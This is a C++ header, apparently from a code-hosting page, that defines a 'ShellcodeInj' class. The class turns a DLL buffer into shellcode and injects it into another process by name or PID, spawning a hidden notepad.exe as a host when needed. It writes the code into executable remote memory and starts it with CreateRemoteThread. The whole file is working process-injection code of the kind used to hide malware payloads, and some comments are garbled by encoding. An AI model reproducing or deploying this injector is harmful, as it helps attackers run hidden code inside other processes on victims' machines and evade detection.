269 lines
9.0 KiB
C++
269 lines
9.0 KiB
C++
#pragma once
|
||
|
||
#include "StdAfx.h"
|
||
#include <string>
|
||
#include <iostream>
|
||
#include <tlhelp32.h>
|
||
|
||
DWORD HashFunctionName(LPSTR name);
|
||
|
||
BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength,
|
||
DWORD flags, LPSTR& outBytes, DWORD& outLength);
|
||
|
||
// A shell code injector.
|
||
class ShellcodeInj
|
||
{
|
||
public:
|
||
ShellcodeInj(BYTE* buf, int len, const char *func=0, LPVOID userData=0, DWORD userLength=0) {
|
||
m_buffer = buf;
|
||
m_length = len;
|
||
m_userFunction = func ? HashFunctionName((char*)func) : 0;
|
||
m_userData = userData;
|
||
m_userLength = userLength;
|
||
}
|
||
|
||
// Return the process id if inject succeed.
|
||
int InjectProcess(const char* processName = nullptr, bool hasPermission=false)
|
||
{
|
||
if (m_buffer == NULL) return 0;
|
||
|
||
if (processName) {
|
||
auto pid = GetProcessIdByName(processName);
|
||
if (pid ? InjectShellcode(pid, (BYTE*)m_buffer, m_length, m_userFunction, m_userData, m_userLength) : false)
|
||
return pid;
|
||
}
|
||
if (hasPermission) {
|
||
auto pid = LaunchNotepadWithCurrentToken();
|
||
if (pid) {
|
||
return InjectShellcode(pid, (BYTE*)m_buffer, m_length, m_userFunction, m_userData, m_userLength) ? pid : 0;
|
||
}
|
||
}
|
||
|
||
PROCESS_INFORMATION pi = {};
|
||
STARTUPINFO si = { sizeof(STARTUPINFO) };
|
||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||
si.wShowWindow = SW_HIDE; // hide the window
|
||
if (CreateProcess(NULL, "\"notepad.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
|
||
CloseHandle(pi.hProcess);
|
||
CloseHandle(pi.hThread);
|
||
return InjectShellcode(pi.dwProcessId, (BYTE*)m_buffer, m_length, m_userFunction, m_userData, m_userLength) ? pi.dwProcessId : 0;
|
||
}
|
||
return 0;
|
||
}
|
||
|
||
bool InjectProcess(int pid) {
|
||
return m_buffer ? InjectShellcode(pid, (BYTE*)m_buffer, m_length, m_userFunction, m_userData, m_userLength) : false;
|
||
}
|
||
|
||
// Check if the process is 64bit.
|
||
static bool IsProcess64Bit(HANDLE hProcess, BOOL& is64Bit)
|
||
{
|
||
is64Bit = FALSE;
|
||
BOOL bWow64 = FALSE;
|
||
typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS2)(HANDLE, USHORT*, USHORT*);
|
||
HMODULE hKernel = GetModuleHandleA("kernel32.dll");
|
||
|
||
LPFN_ISWOW64PROCESS2 fnIsWow64Process2 = hKernel ?
|
||
(LPFN_ISWOW64PROCESS2)::GetProcAddress(hKernel, "IsWow64Process2") : nullptr;
|
||
|
||
if (fnIsWow64Process2) {
|
||
USHORT processMachine = 0, nativeMachine = 0;
|
||
if (fnIsWow64Process2(hProcess, &processMachine, &nativeMachine)) {
|
||
is64Bit = (processMachine == IMAGE_FILE_MACHINE_UNKNOWN) &&
|
||
(nativeMachine == IMAGE_FILE_MACHINE_AMD64 || nativeMachine == IMAGE_FILE_MACHINE_ARM64);
|
||
return true;
|
||
}
|
||
}
|
||
else {
|
||
// Old system use IsWow64Process
|
||
if (IsWow64Process(hProcess, &bWow64)) {
|
||
if (bWow64) {
|
||
is64Bit = FALSE; // WOW64 <20><> һ<><D2BB><EFBFBD><EFBFBD> 32 λ
|
||
}
|
||
else {
|
||
#ifdef _WIN64
|
||
is64Bit = TRUE; // 64 λ<><CEBB><EFBFBD><EFBFBD><F2B2BBBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 32 λϵͳ <20><> Ŀ<><C4BF>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>64λ
|
||
#else
|
||
is64Bit = FALSE; // 32 λ<><CEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DEB7>ж<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>Ƿ<EFBFBD>64λ <20><> <20><><EFBFBD><EFBFBD>Ϊfalse
|
||
#endif
|
||
}
|
||
return true;
|
||
}
|
||
}
|
||
return false;
|
||
}
|
||
|
||
private:
|
||
BYTE* m_buffer = NULL;
|
||
int m_length = 0;
|
||
DWORD m_userFunction = 0;
|
||
LPVOID m_userData = 0;
|
||
DWORD m_userLength = 0;
|
||
DWORD LaunchNotepadWithCurrentToken()
|
||
{
|
||
HANDLE hToken = NULL;
|
||
|
||
// <20><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD> token
|
||
if (!OpenProcessToken(GetCurrentProcess(),
|
||
TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID,
|
||
&hToken)) {
|
||
Mprintf("OpenProcessToken failed: %d\n", GetLastError());
|
||
return 0;
|
||
}
|
||
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> token
|
||
HANDLE hNewToken = NULL;
|
||
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hNewToken)) {
|
||
Mprintf("DuplicateTokenEx failed: %d\n", GetLastError());
|
||
CloseHandle(hToken);
|
||
return 0;
|
||
}
|
||
|
||
STARTUPINFOW si = { sizeof(si) };
|
||
PROCESS_INFORMATION pi = {};
|
||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||
si.wShowWindow = SW_HIDE;
|
||
|
||
// ʹ<>ø<EFBFBD><C3B8>ƺ<EFBFBD><C6BA><EFBFBD> token <20><><EFBFBD><EFBFBD> notepad
|
||
if (!CreateProcessWithTokenW(hNewToken, 0, L"C:\\Windows\\System32\\notepad.exe",
|
||
NULL, 0, NULL, NULL, &si, &pi)) {
|
||
Mprintf("CreateProcessWithTokenW failed: %d\n", GetLastError());
|
||
CloseHandle(hToken);
|
||
CloseHandle(hNewToken);
|
||
return 0;
|
||
}
|
||
|
||
DWORD dwProcessId = pi.dwProcessId;
|
||
|
||
CloseHandle(pi.hProcess);
|
||
CloseHandle(pi.hThread);
|
||
CloseHandle(hToken);
|
||
CloseHandle(hNewToken);
|
||
|
||
return dwProcessId; // <20><><EFBFBD><EFBFBD><EFBFBD>ӽ<EFBFBD><D3BD><EFBFBD> ID
|
||
}
|
||
|
||
// Find process id by name.
|
||
DWORD GetProcessIdByName(const std::string& procName)
|
||
{
|
||
DWORD pid = 0;
|
||
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||
if (hSnap != INVALID_HANDLE_VALUE) {
|
||
PROCESSENTRY32 pe32 = { sizeof(pe32) };
|
||
if (Process32First(hSnap, &pe32)) {
|
||
do {
|
||
if (_stricmp(pe32.szExeFile, procName.c_str()) == 0) {
|
||
pid = pe32.th32ProcessID;
|
||
break;
|
||
}
|
||
} while (Process32Next(hSnap, &pe32));
|
||
}
|
||
CloseHandle(hSnap);
|
||
}
|
||
return pid;
|
||
}
|
||
|
||
// Check if it's able to inject.
|
||
HANDLE CheckProcess(DWORD pid)
|
||
{
|
||
HANDLE hProcess = OpenProcess(
|
||
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
|
||
FALSE, pid);
|
||
if (!hProcess) {
|
||
Mprintf("OpenProcess failed. PID: %d\n", pid);
|
||
return nullptr;
|
||
}
|
||
|
||
// Check process and system architecture.
|
||
BOOL targetIs64Bit = FALSE;
|
||
BOOL success = IsProcess64Bit(hProcess, targetIs64Bit);
|
||
if (!success) {
|
||
Mprintf("Get architecture failed \n");
|
||
CloseHandle(hProcess);
|
||
return nullptr;
|
||
}
|
||
const BOOL selfIs64Bit = sizeof(void*) == 8;
|
||
if (selfIs64Bit != targetIs64Bit) {
|
||
Mprintf("[Unable inject] Injector is %s, Target process is %s\n",
|
||
(selfIs64Bit ? "64bit" : "32bit"), (targetIs64Bit ? "64bit" : "32bit"));
|
||
CloseHandle(hProcess);
|
||
return nullptr;
|
||
}
|
||
return hProcess;
|
||
}
|
||
|
||
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength,
|
||
DWORD userFunction, LPVOID userData, DWORD userLength)
|
||
{
|
||
if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
|
||
LPSTR finalShellcode = NULL;
|
||
DWORD finalSize;
|
||
if (!ConvertToShellcode(originBuffer, ulOriginalLength, userFunction, userData, userLength, 0x1, finalShellcode, finalSize)) {
|
||
return false;
|
||
}
|
||
compressedBuffer = new BYTE[finalSize];
|
||
ulTotalSize = finalSize;
|
||
|
||
memcpy(compressedBuffer, finalShellcode, finalSize);
|
||
free(finalShellcode);
|
||
|
||
return true;
|
||
}
|
||
return false;
|
||
}
|
||
|
||
// Inject shell code to target process.
|
||
bool InjectShellcode(DWORD pid, const BYTE* pDllBuffer, int dllSize, DWORD userFunction, LPVOID userData, DWORD userLength)
|
||
{
|
||
HANDLE hProcess = CheckProcess(pid);
|
||
if (!hProcess)
|
||
return false;
|
||
|
||
// Convert DLL -> Shell code.
|
||
LPBYTE shellcode = NULL;
|
||
int len = 0;
|
||
if (!MakeShellcode(shellcode, len, (LPBYTE)pDllBuffer, dllSize, userFunction, userData, userLength)) {
|
||
Mprintf("MakeShellcode failed \n");
|
||
CloseHandle(hProcess);
|
||
return false;
|
||
}
|
||
|
||
LPVOID remoteBuffer = VirtualAllocEx(hProcess, nullptr, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||
if (!remoteBuffer) {
|
||
Mprintf("VirtualAllocEx failed \n");
|
||
CloseHandle(hProcess);
|
||
return false;
|
||
}
|
||
|
||
if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, len, nullptr)) {
|
||
Mprintf("WriteProcessMemory failed \n");
|
||
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||
CloseHandle(hProcess);
|
||
delete[] shellcode;
|
||
return false;
|
||
}
|
||
delete[] shellcode;
|
||
|
||
// Shell code entry.
|
||
LPTHREAD_START_ROUTINE entry = reinterpret_cast<LPTHREAD_START_ROUTINE>(reinterpret_cast<ULONG_PTR>(remoteBuffer));
|
||
|
||
HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, entry, remoteBuffer, 0, nullptr);
|
||
if (!hThread) {
|
||
Mprintf("CreateRemoteThread failed \n");
|
||
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||
CloseHandle(hProcess);
|
||
return false;
|
||
}
|
||
|
||
WaitForSingleObject(hThread, INFINITE);
|
||
|
||
Mprintf("Finish injecting to PID: %d\n", pid);
|
||
|
||
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||
CloseHandle(hThread);
|
||
CloseHandle(hProcess);
|
||
|
||
return true;
|
||
}
|
||
};
|